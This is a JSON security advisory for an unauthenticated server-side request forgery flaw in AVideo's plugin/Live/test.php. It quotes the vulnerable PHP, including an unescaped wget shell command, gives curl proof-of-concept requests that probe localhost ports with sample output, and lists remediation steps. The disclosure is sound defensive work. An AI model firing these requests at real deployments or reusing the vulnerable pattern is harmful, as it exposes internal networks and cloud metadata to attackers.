{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:57:56Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAn unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.\n\n### Details\nThe endpoint accepts `$_REQUEST[\u0027statsURL\u0027]` and only checks that it starts with `http`:\n\n```php\n$statsURL = $_REQUEST[\u0027statsURL\u0027];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    exit;\n}\n```\n\nIt then calls:\n\n```php\n$result = url_get_contents($statsURL, 2);\n```\n\nInside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:\n\n```php\n$tmp = file_get_contents($url, false, $context);\n_log(\u0027file_get_contents:: \u0027.htmlentities($tmp));\n```\n\nThere is:\n\n- no authentication check\n- no allowlist of trusted stats URLs\n- no SSRF-safe URL validation\n- reflected response/error output\n\nValidated on source:\n\n- [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php)\n\n\n### PoC\nTarget used during validation:\n\n```text\nhttp://127.0.0.1:80\n```\n\n1. Probe a closed localhost port:\n\n```bash\ncurl -s \\\n  \u0027http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/\u0027\n```\n\nObserved response excerpt:\n\n```text\nStarting try to get URL http://127.0.0.1:1/\nurl_get_contents start timeout=2\nWarning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused\nfile_get_contents fail return an empty content\nFAIL\n```\n\n2. Probe the local web service itself:\n\n```bash\ncurl -s \\\n  \u0027http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/\u0027\n```\n\nThis returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.\n\n### Impact\nThis is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`.\n\nAn attacker can:\n\n- probe localhost and internal network services\n- distinguish open and closed ports\n- target cloud metadata endpoints if reachable\n- retrieve reflected content from internal HTTP services when the upstream responds with a body\n\nThe server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.\n\n### remediation\nThe safest fix is to remove `plugin/Live/test.php` from production deployments.\n\nIf it must remain:\n\n- require admin authentication\n- only allow requests to explicitly configured Live stats URLs\n- block localhost, RFC1918, link-local, and metadata IP ranges\n- stop reflecting fetched bodies and raw upstream errors to the client\n\nMinimal hardening example:\n\n```php\nrequire_once dirname(__FILE__) . \u0027/../../videos/configuration.php\u0027;\n\nif (!User::isAdmin()) {\n    http_response_code(403);\n    exit(\u0027Forbidden\u0027);\n}\n\n$statsURL = $_REQUEST[\u0027statsURL\u0027] ?? \u0027\u0027;\nif (empty($statsURL) || !isSSRFSafeURL($statsURL)) {\n    exit(\u0027Unsafe URL\u0027);\n}\n```\n\n### Remove `wget` Fallback Entirely\n\nThe `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94\u2013119 of `test.php`.\n\n### If wget must remain, escape the argument:\n\n```php\n// BEFORE (vulnerable)\n$cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n\n// AFTER (safe)\n$cmd = \"wget --tries=1 \" . escapeshellarg($url) . \" -O \" . escapeshellarg($filename) . \" --no-check-certificate\";\n```\n\n### Defense in Depth\n\n1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)\n2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch\n3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level",
  "id": "GHSA-3fpm-8rjr-v5mc",
  "modified": "2026-03-25T20:31:49Z",
  "published": "2026-03-20T20:57:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Unauthenticated SSRF via plugin/Live/test.php"
}